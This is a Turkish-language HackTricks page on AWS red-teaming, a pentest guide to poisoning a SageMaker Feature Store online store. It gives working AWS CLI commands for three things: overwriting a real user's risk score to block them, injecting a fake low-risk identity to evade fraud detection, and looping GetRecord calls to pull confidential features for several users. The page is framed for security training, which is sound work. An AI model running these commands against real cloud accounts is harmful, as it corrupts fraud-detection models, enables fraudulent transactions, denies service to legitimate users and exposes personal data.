SageMaker Feature Store online store poisoning

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

sagemaker:PutRecord’ı OnlineStore etkin bir Feature Group üzerinde kötüye kullanarak online inference tarafından tüketilen canlı feature değerlerini üzerine yazın. sagemaker:GetRecord ile birleştirildiğinde saldırgan hassas feature’ları okuyabilir. Bu, modellere veya endpoints’e erişim gerektirmez.

Gereksinimler

  • İzinler: sagemaker:ListFeatureGroups, sagemaker:DescribeFeatureGroup, sagemaker:PutRecord, sagemaker:GetRecord
  • Hedef: OnlineStore etkin bir Feature Group (genellikle real-time inference’ı destekler)
  • Karmaşıklık: LOW - Basit AWS CLI komutları, model manipülasyonu gerekmiyor

Adımlar

Reconnaissance

  1. OnlineStore etkin olan Feature Group’ları listeleyin
REGION=${REGION:-us-east-1}
aws sagemaker list-feature-groups \
--region $REGION \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
  1. Hedef Feature Group’un şemasını anlamak için tanımlayın
FG=<feature-group-name>
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"

RecordIdentifierFeatureName, EventTimeFeatureName ve tüm özellik tanımlarına dikkat edin. Bunlar geçerli kayıtlar oluşturmak için gereklidir.

Saldırı Senaryosu 1: Data Poisoning (Mevcut Kayıtların Üzerine Yazma)

  1. Mevcut geçerli kaydı okuyun
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
  1. Satır içi --record parametresini kullanarak kaydı kötü amaçlı değerlerle zehirleyin
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)

# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"}
]" \
--target-stores OnlineStore
  1. Zehirlenmiş verileri doğrulayın
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001

Etkisi: Bu özelliği kullanan ML modelleri artık meşru bir kullanıcı için risk_score=0.99 görecek, bu da işlemlerini veya hizmetlerini engelleyebilir.

Saldırı Senaryosu 2: Kötü Niyetli Veri Enjeksiyonu (Sahte Kayıtlar Oluşturma)

Güvenlik kontrollerinden kaçmak için manipüle edilmiş özelliklere sahip tamamen yeni kayıtlar enjekte edin:

NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)

# Create fake user with artificially low risk to perform fraudulent transactions
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"}
]" \
--target-stores OnlineStore

Enjeksiyonu doğrulayın:

aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999

Impact: Saldırgan, düşük risk puanı (0.01) olan sahte bir kimlik oluşturarak dolandırıcılık tespiti tetiklenmeden yüksek değerli dolandırıcılık işlemleri gerçekleştirebilir.

Saldırı Senaryosu 3: Hassas Veri Sızdırma

Gizli özellikleri çıkarmak ve model davranışını profillemek için birden fazla kaydı okuyun:

# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
echo "Exfiltrating data for ${USER_ID}:"
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string ${USER_ID}
done

Etkisi: Gizli özellikler (risk skorları, işlem örüntüleri, kişisel veriler) attacker tarafından açığa çıkabilir.

Test/Demo Feature Group Oluşturma (İsteğe Bağlı)

Bir test Feature Group oluşturmanız gerekiyorsa:

REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
if [ -z "$FG" -o "$FG" = "None" ]; then
ACC=$(aws sts get-caller-identity --query Account --output text)
FG=test-fg-$ACC-$(date +%s)
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)

aws sagemaker create-feature-group \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-feature-name entity_id \
--event-time-feature-name event_time \
--feature-definitions "[
{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"}
]" \
--online-store-config "{\"EnableOnlineStore\":true}" \
--role-arn "$ROLE_ARN"

echo "Waiting for feature group to be in Created state..."
for i in $(seq 1 40); do
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15
done
fi

echo "Feature Group ready: $FG"

Kaynaklar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin